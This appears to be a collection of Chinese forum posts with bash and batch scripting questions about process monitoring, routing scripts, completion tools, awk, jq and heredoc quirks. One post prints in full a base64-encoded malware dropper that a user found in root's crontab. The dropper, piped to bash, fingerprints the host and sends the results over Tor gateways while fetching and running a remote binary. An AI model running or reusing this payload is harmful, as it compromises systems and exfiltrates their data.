看到 stackoverflow的高赞回答后,不知道这样写的脚本是不是合适的,有没有更加好实践。
我对 stackoverflow 高赞回答表示怀疑,其中jobs -p
,无法列出后台的守护进程。因为一般编写守护进程代码时,都是 fork 两次并重新设置会话 setsid
trap 'kill $(jobs -p)' EXIT; until myserver & wait
#!/bin/bash this_bash_pid=$$ exe_name="thisIsExample" # 定义一个函数来杀死进程 kill_process() { if [ -n "${PID}" ]; then kill -9 ${PID} fi exit } # 使用 trap 命令捕获 TERM, INT 和 EXIT 信号 trap 'kill_process' TERM INT EXIT while true do output=$(ps -ef | grep ${exe_name} | grep -v grep | grep -v ${this_bash_pid}) if [ $? -eq 0 ];then PID=$(echo $output | awk '{print $2}') echo "${exe_name} :${PID} is running" else ./${exe_name} & output=$(ps -ef | grep ${exe_name} | grep -v grep | grep -v ${this_bash_pid}) echo $output PID=$(echo $output | awk '{print $2}') echo $PID fi sleep 1 done
monitor_process.service
[Unit] Description=Monitor Process Service After=multi-user.target [Service] Type=simple ExecStart=/usr/local/bin/monitor_process.sh Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target
]]>过程:由于是第一次写,也不知道怎么在网上找只能用 gpt3.5 艰难的生成好了所有功能,但是太长了,问了同事 可以用变量缩短,又是一个上午过去了 gpt 被玩坏了发一句抱歉一句然后瞎扯。
route add -p "A" mask 255.255.255.0 "B" 结果:目前是删除路由的那段脚本好了,添加脚本提示一堆看着像不合规的命令输出,这段要实现的是在"A"变量 组里面循环一次,"B"里的下一跳路由用户输入的序号提供,由于用户直接输入的是网段还需要再改写成网关 才行,下面是代码,希望有大佬给指点下,万分感谢:
@echo off PUSHD %~DP0 TITLE 双网卡配置脚本 mode con cols=60 lines=32 color 3e :menu cls echo. echo. 请选择内网网段 echo --------------------------- echo. echo 0 10.10.6.0 echo 1 10.10.7.0 echo 2 10.10.8.0 echo 3 10.10.9.0 echo 4 10.10.10.0 echo 5 10.10.11.0 echo 6 10.10.12.0 echo 7 10.10.13.0 echo 8 10.10.14.0 echo 9 192.168.200.0 echo 10 192.168.22.0 echo 11 192.168.201.0 echo. echo. echo q 退出 echo. echo d 删除路由表 echo. echo --------------------------- echo. echo. 请输入序号: set /p ID= if "%ID%"=="q" ( goto :eof ) if "%ID%"=="d" ( goto delete_routes ) if %ID% LSS 0 ( goto menu ) setlocal enabledelayedexpansion set "routes=10.10.6.0 10.10.7.0 10.10.8.0 10.10.9.0 10.10.10.0 10.10.11.0 10.10.12.0 10.10.13.0 10.10.14.0 192.168.200.0 192.168.22.0 192.168.201.0" set "gateways=10.10.6.1 10.10.7.1 10.10.8.1 10.10.9.1 10.10.10.1 10.10.11.1 10.10.12.1 10.10.13.1 10.10.14.1 192.168.200.1 192.168.22.1 192.168.201.1" for /L %%i in (0,1,11) do ( if "!ID!"=="%%i" ( set "gw=!gateways%%i!" for %%a in (!routes!) do ( route add -p %%a mask 255.255.255.0 !gw! echo 已添加路由: %%a !gw! ) ) ) echo. 添加完成 timeout /t 50 >nul goto menu :delete_routes set "routes=10.10.6.0 10.10.7.0 10.10.8.0 10.10.9.0 10.10.10.0 10.10.11.0 10.10.12.0 10.10.13.0 10.10.14.0 192.168.200.0 192.168.22.0 192.168.201.0" for %%r in (%routes%) do ( route delete %%r echo 已删除路由: %%r ) timeout /t 1 >nul echo. 删除完成 goto :menu
]]>getProfile() { CURRENT_PATH=$(pwd) oldIFS="$IFS" # Save the old value of IFS IFS="/" # Set IFS to the new delimiter # Split the string into an array of substrings read -ra array <<<"$CURRENT_PATH" IFS=oldIFS PROFILE=${array[-2]} echo "${PROFILE}" }
Version 2:
get_profile() { script_dir="$(dirname "$0")" # https://stackoverflow.com/questions/71224944/how-to-get-the-name-of-the-grandparent-directory profile=$(basename -- "$(realpath -m -- "$script_dir/..")") echo "${profile}" }
]]> bash -c "custom_functions"
custom_function:command not found
declare -fx
声明export -fx
声明typeset -xf
声明a=0.1 b=0.01 if (( $(echo "$a > $b" |bc -l) )); then ehco "true" else echo "false" fi
a=0.1 b=0.01 if [ $(echo "$a > $b"|bc) -eq 1 ];then echo "true" else echo "false" fi
可是,编写复杂的可编程补全脚本却是一件困难的事。Bash 脚本的语法十分自由(容易出错),教程也五花八门,你可能需要踩很多坑。 即使有 scop/bash-completion 这样现成的补全脚本库,可是它只收录常用命令。对于某些社区不常用的命令,还是得自己手写补全脚本。
为了减少开发者接触 bash 的痛苦时间。我创造了 bash-completor。 bash-completor 是一个用 bash 脚本编写的 Bash 补全脚本生成器。帮助 bash 新手快速地实现 bash 补全。 它用声明式写法来实现逻辑。学习门槛非常低。
可能有人会想,bash 就一胶水语言,不应该用来写这么复杂的功能。为何不用 js 、go 、rust 等高级编程语言来实现补全逻辑? 当然可以,只不过这会引入开发环境配置,依赖部署等问题。 需要使用 bash 补全功能的人一定安装了 bash 。所以用 Bash 脚本来写,不引入其他依赖。用户安装使用就很简单。
下面介绍这个工具。
<cmd> [options] [arguments]
。<cmd> [cmd-options] <subcmd> [subcmd-options] [arguments]
。-o
, --option
, --option <value>
, --option=
, +o
, +option
格式的参数。你可以用 curl 或者 git 安装它。具体请看项目文档,这里不赘述。
以创建 bash-completor 自身的补全脚本为例。
首先,创建配置文件 completor.bash 。 配置文件也是用 bash 语法写的。你只需要懂最基础的 bash 语法即可。
output=dist/bash-completor.completion.bash authors=('ADoyle (adoyle.h@gmail.com)') cmd=bash-completor cmd_opts=( -c:@files -h --help --version )
这就是配置的全部内容。然后执行 bash-completor -c ./completor.bash
生成补全脚本。完成。
复杂的例子也可以看这些链接:
更多语法见这个链接。
生成的补全脚本遵循以下代码风格。无需担心重名问题。而且这也便于在运行时调试。
_${cmd}_completions
。_${cmd}_completions_${subcmd}
为前缀命名。_${cmd}_comp_
为前缀命名。_${cmd}_comp_cmd_opts
_${cmd}_comp_subcmd_opts_${subcmd}
为前缀命名。_${cmd}_comp_reply_
为前缀命名。_${cmd}_comp_reply_custom_
为前缀命名。以上介绍完了。如果你觉得不错,可以给文章点给赞,或者给项目点个 star 。
]]>PS ,命令被我直接放在.desktop 文件里了。大致如下:
Exec=bash -c 'xxxx ; sudo xxxx ; xxxx ; sudo xxxx ; xxxx'
]]>a='\u@\h:\w\$ ' a='\[\e[1;32;40m\][\u@\h - \t \W]\$ \[\e[0m\]'
想实现把
\u@\h:\w\$
替换成
\[\e[1;32;40m\][\u@\h - \t \W]\$ \[\e[0m\]
]]>一个专用于 Bash 编程的库。之前有在 V2EX 发过介绍。
隔了好多年终于发布了新版本...之前有在用过的朋友可以看下 changelog。
]]># 声明数组 declare -a arr=(12 34 56 78 90) # 稍后我想用 , 连接它们 IFS=',' # 测试一:我想连接数组前三个数字( OK ) cat <<<"${arr[*]:0:3}" # 测试二:在 HereDoc 里,同样的写法,逗号却不见了?(除非全部连接,不指定其中一小段) cat <<EOF ${arr[*]:0:3} ${arr[*]} EOF
结果:
12,34,56 # 测试一,OK 12 34 56 # 测试二,???不是和上面写法一样吗??? 12,34,56,78,90 # 测试二,全部连接,OK
又被 bash
折磨了。。
[5/Apr/2022:12:45:28 +0800] 175.139.183.196 - 1391 "https://www.example.com/xxxxx/1.html" "GET https://www.example.com/file/upload/201512/02/11-58-30-89-157.jpg" 302 46 454 MISS "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" "text/html; charset=iso-8859-1"
我可以通过以下命令统计每个网址 404 的次数
awk '{if($9=404) print $6} |sort|uniq|wc -l'
如果我想按目录统计出现 404 的次数的话,应该怎么用 awk 来实现?
即统计网址中 /xxxxx/部分出现 404 的次数
]]>node | tee out.txt
可以把 node 中输出的内容不仅输出到屏幕终端,还可以输出到文件out.txt
。 那怎么样做才能把不影响向终端中正常输入内容,同时把输入的内容保存一份到文件中,作为记录呢?
是要对/dev/stdin
动手脚吗?
RTRT 谢谢各位了!
]]>[ { "id": 0001, "name": "Zhang.San_123456", "email": { "qqmail": "mail1@qq.com", "163mail": "mail1@163.com" }, "Address": { "Province": "Guangdong", "City": "Zhanjiang", "Country": "Xuwen" } }, { "id": 0002, "name": "Li.Si_123456", "email": { "qqmail": "mail2@qq.com", "163mail": "mail2@163.com" }, "Address": { "Province": "Sichuan", "City": "Yibin", "Country": "Jiang'an" } }, { "id": 0003, "name": "Wang.Wu_123456", "email": { "qqmail": "mail3@qq.com", "163mail": "mail3@163.com" }, "Address": { "Province": "Shanxi", "City": "Taiyuan", "Country": "Qingxu" } } ]
我想获取里面 name 字段为 Li.Si_123456 的一部分,返回时移除 email 里的 163mail ,返回内容如下:
[ { "id": 0002, "name": "Li.Si_123456", "url": "http://xxx.com", "qqmail": "mail2@qq.com", "Address": { "Province": "Sichuan", "City": "Yibin", "Country": "Jiang'an" } } ]
请教一下这个使用 jq 处理应该怎么写呢,有大佬能指教一下吗?谢谢了^^
]]>我之前看到有别人的终端用的补全有 popup 的功能,类似 vim 的 popup,像是这样(年代久远,我也不能确定他用的是什么命令行)
$ set -x # enable debug output from bash $ export PYTEST_FLAG='--pytest-args -k "not (xmllint or pclint)"'; $ pytest ${PYTEST_FLAG} + pytest --pytest-args -k '"not' '(xmllint' or 'pclint)"' # this line is the debug output ... error
从第四行可以看出,本来"not (xmllint or pclint)"
应该作为一个字符串传递给pytest
命令,但是 bash 在 variable expansion 后把"not
, (xmllint
和 pclint)"
用单引号圈了起来,似乎因为他们含有一些特殊字符?如何阻止 bash 这种行为呢?谢谢
我最终想要 Bash 执行的命令为:
$ pytest --pytest-args -k "not (xmllint or pclint)"
]]>#!/bin/bash # 对 pdftk 的简单封装,用于删除指定的页码,以空格分隔,支持形如"5-7"的页码范围。页码输入不必按顺序,类似"12 6-8 1 3"输入是可以正常工作的。 #isPdftkinstalled 作用为检查 pdftk 是否可用,若可用则执行 pdftk --version function isPdftkinstalled { echo if [ -z $(whereis pdftk | gawk '{print $2}') ] then echo "pdftk 未安装或未加入 PATH,请检查。" echo "提示:pdftk 已加入 Deepin 官方源,您可以通过 sudo apt install pdftk 简单安装。" else echo $(pdftk --version) fi echo } #getCouples 作用为对输入的页码进行处理,支持输入单页或页码范围,将其转换为数对(获取范围前后页码,以冒号分隔) function getCouples { local couples='' local left_end='' local right_end='' while [ -n "$1" ] do arg1=$(echo "$1" | gawk -F"[- ]" '{print $1}') arg2=$(echo "$1" | gawk -F"[- ]" '{print $2}') left_end=$[ $arg1 - 1 ] #对应页码范围情况 if [ -n "$arg2" ] then right_end=$[ $arg2 + 1 ] else #对应单页情况 right_end=$[ $arg1 + 1 ] fi couples=$(echo $couples $left_end:$right_end) shift done #数对排序处理,注意 sort 是针对行的排序,故需要将空格转换成换行 couples=$(echo $couples | tr " " "\n" | sort -t ':' -k 1 -n) couples=$(refineCouples $couples) echo $couples } #refineCouples 作用为合并相邻数对,供 getCouples 调用 function refineCouples { local args='' local isNabour='' local Num1=$(echo $1 | cut -d ":" -f1) local Num2=$(echo $1 | cut -d ":" -f2) local Num3='' local Num4='' shift while [ -n "$1" ] do Num3=$(echo $1 | cut -d ":" -f1) Num4=$(echo $1 | cut -d ":" -f2) isNabour=$[ $Num2 - $Num3 ] if [ $isNabour -eq 1 ] then Num2=$Num4 else args=$(echo $args $Num1:$Num2) Num1=$Num3 Num2=$Num4 fi shift done args=$(echo $args $Num1:$Num2) echo $args } #generateRanges 作用为将数对转换为 pdftk 可用的页码范围 function generateRanges { local first_Bit=$(echo $1 | cut -d ":" -f1) local Num1='' local Num2='' local args='' while [ -n "$1" ] do Num1=$(echo $1 | cut -d ":" -f2) if [ -n "$2" ] then Num2=$(echo $2 | cut -d ":" -f1) if [ $Num1 -gt $Num2 ] then Num2=$Num1 fi else Num2="end" fi shift args=$(echo $args $Num1-$Num2) done if [ $first_Bit -gt 0 ] then args=$(echo 1-$first_Bit $args) fi echo $args } pdfFile=$1 shift if [ $# -lt 2 ] then echo "Usage:pdftool [filename] [discard pages]" exit fi pagesCOnserved=$(generateRanges $(getCouples $*)) pdftk_command=$(echo pdftk $pdfFile cat $pagesConserved output new_$(basename ${pdfFile})) #echo $pdftk_command $pdftk_command
]]>(cd backup && tar c .) | (cd backupArchives && tar xf -)
这条命令,对于 tar 直接用管道进行打包解包这个操作直呼少见,man tar
中也没看到相关介绍 但是如果 ls 的输出为空,那么我需要提前结束循环,要注意的是如果非空,一定要输出原有命令的颜色,不然看得眼花。
所以我的需求是,既能调用一个命令,输出带颜色的结果,又能在命令输出为空时,不输出了,跳出循环。
想到几种解决方案:
echo -e
输出,结果发现输出的是纯文本,颜色丢失了。我这个需求能实现吗?请问思路哪里不对,还是方法错了?
]]>zip -r git.zip git
现在我想通过 alias 简化输入的命令:
alias zp='zip -r $1.zip $1'
但是我发现执行 zp git
后生成的文件是 .zip
而不是希望的 git.zip
,
请问如何才能把文件名传递给 zip 命令?
现在的方法是
server1 > /tmp/server1 & server2 > /tmp/server2 & ... ... killall server1 killall server2
但是感觉很不优雅,并且不支持多个测试并发。我知道可以用保存 PID 地方式来精准杀进程,但还是想问问大家有没有更好的办法?谢谢
]]>再替换掉"," 然后就转换成数组了
array=(${array//,/ })
for i in ${array[@]};do
echo $i
done
然而第一步 tr -cd 并没有去掉字符串的"[" "]"....
使用 array=(${//[/ })也去不掉 尴尬了
大佬们"[" 和"]" 如何去掉?
source x1.sh source x2.sh
]]>A 文件 123 456 789
B 文件 abc def ghi
需要追加成的样式
C 文件 123 abc 456 def 789 ghi
请教一下大家有什么好的办法吗?
]]>exec &>/dev/null
echo ncM85D4kux95mCiJpO2bEuK6pSDgAxyo8iDwzI2aeW4D9rutGHUWkn85gtzMkzxU
echo bmNNODVENGt1eDk1bUNpSnBPMmJFdUs2cFNEZ0F4eW84aUR3ekkyYWVXNEQ5cnV0R0hVV2tuODVndHpNa3p4VQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI0aXVjaWd4dmxmeDR2Y3FuNXNvcmRlcnNhYTNhM3p0amNhb3N6cHR4eG81YjNwYm42bmx3c2ZhZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8c29ydCAtdVJ8aGVhZCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdG1wIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdCB0b3Iyd2ViLmlvIHRvcjJ3ZWIuc3Ugb25pb24uY29tLmRlIHRvcjJ3ZWIudG8gb25pb24uc2gKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash
crontab 里这个 20 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &
清理 crontab 是没用的。
]]>但是我发现这样会破坏掉 scp 的一些功能,请问如何实现一个不会破坏其他软件兼容性的 shell ?
]]>#!/bin/bash syslog_path="/var/log/dcmc_syslog_devices" read -p "Enter IP to clear the desired directory: " ip_syslog_path read -p "Enter desired date to clear[YYYY-MM]: " desired_date desired_path="/var/log/dcmc_syslog_devices/${ip_syslog_path}" if [ ! -d ${desired_path} ]; then echo "Log directory does not exist! Script exited." exit 1 fi if [ ! -f ${"/var/log/dcmc_syslog_devices/${ip_syslog_path}/${ip_syslog_path}-${desired_date}*.log"}]; then echo "Desired log is not available! Script exited." exit 1 fi #Packing syslog echo $(date +"%Y-%m-%d %H:%M:%S") echo "Start packing syslogs..." sudo tar -zcvf ${desired_path}/${ip_syslog_path}-${desired_date}.tar.gz ${desired_path}/${ip_syslog_path}-${desired_date}*.log
由于日志文件最后是包含日期的所以一直使用"*"来覆盖后面的日,现在也不知道怎么修改,但是问题应该在于我的第二个条件中的这种写法是不被支持的,有没有大佬来说下这个该怎么调整啊,感谢!
]]>#!/usr/bin/env bash if graph="$(mktemp -d)" || { echo failed; exit 2; } then trap 'rm -rf "${graph}"' exit fi while read start end; do mkdir -p "${graph}/${end}/${start}" "${graph}/${start}" done while [[ $(ls -1 "${graph}" | wc -l) -gt 0 ]]; do for u in ${graph}/*; do [[ $(ls -1 "${u}" | wc -l) -eq 0 ]] && { echo "$(basename ${u})"; break; } done | { read pop || { echo cylic; exit 1; } echo "${pop}" rmdir "${graph}/${pop}" for v in ${graph}/*; do [[ -d "${v}/${pop}" ]] && rmdir "${v}/${pop}" done } done
大家看看写得对吗?
附赠输入输出:
CSCI-E-50a CSCI-E-50b CSCI-E-50b CSCI-E-160 CSCI-E-160 CSCI-E-162 CSCI-E-50b CSCI-E-119 CSCI-E-119 CSCI-E-215 CSCI-E-119 CSCI-E-124 CSCI-E-50b MATH-E-104 MATH-E-10 CSCI-E-119 MATH-E-10 MATH-E-104 MATH-E-104 CSCI-E-124
CSCI-E-50a CSCI-E-50b CSCI-E-160 CSCI-E-162 MATH-E-10 CSCI-E-119 CSCI-E-215 MATH-E-104 CSCI-E-124
玩得开心~
]]>本想用 cp 做备份,格式化输出:年-月-日 时:分。但是在 $(date) 中的 : 会变成 / 。 在 ls 中查看是 test 2019:12:24 22:13,但是实际桌面看到是:test 2019/12/24 22/13,我的预期结果是:test 2019/12/24 22:13
请问是否有解决办法?我试过 \ 但是并没没用
abc abc abc abc abc abc
改为
abc abc abc 123 123 123
]]>#!/usr/bin/env bash k=("$(printf '\n\n\n')") echo ${#k[@]} k="$(printf '\n\n\n')" echo ${#k[@]}
我发现 k 的长度都是 1,怎么样才能让它是 3 呢?
还有个类似的问题,
#!/usr/bin/env bash f() { local o=('' '' '') printf '%s\n' "${o[@]}" } k=$(f) echo ${#k[@]}
我想通过函数 f 来返回一个长度为 3 的空字符串数组给 k。应该怎么改才能做到呢?
]]>顺便统计一下,如果你在用 bash,现在用的是什么版本号的 bash ?
]]>VH_ROOT=`$VH_ROOT` VH_NAME="$VH_NAME"
但明显 ehco $VH_ROOT 输出会是空。
求解如何 使用$VH_ROOT 输出的就是 $VH_ROOT?
]]>ls | grep Camp | xargs cat > CampCombine
一会儿硬盘就炸了。。
]]>网上找到的解决方案:
https://askubuntu.com/a/829837 https://github.com/Shmadul/easyssh
ssh config 文件类似于,通过注释的方式填入密码
Host host User root #Password passwd HostName localhost Port 2222
原脚本:
#!/bin/bash host=$1 password=`awk "/#Password/ && inhost { print \\\$2 } /Host/ { inhost=0 } /Host $host/ { inhost=1 }" ~/.ssh/config` if [[ -z "$password" ]]; then /usr/bin/ssh $* else sshpass -p $password /usr/bin/ssh $* fi
但是测试之后无法正常获取到 host 对应的 Password,应该是 awk 语句有问题
希望各位能帮忙看看这 awk 应该怎么写,谢谢
]]>下边是这个效果的配置
http://www.gmkfreefonts.com/index.php?letter=a&page=3&res=12
内容; 但返回的始终是http://www.gmkfreefonts.com/index.php?letter=a&page=1&res=12
的内容; 浏览器 http://www.gmkfreefonts.com/index.php?letter=a&page=3&res=12
可以直接跳转到 page3
curl -s http://www.gmkfreefonts.com/index.php?letter=a&page=3&res=12
小白整了一晚也没整明白,请高手指点 1-2,谢谢!
]]>date -d "$date_base -$i days" "+%Y-%m-%d"
echo $date for cid1 in "5025" "1315" "1672" do nohup pig -useHCatalog -param dt=${date} cs=${cid1} join_feature_qq.pig >log/log_$date_$cid1 2>&1 & done wait done RT,新手上路,这段代码老是执行不成功,请问有什么问题吗
]]>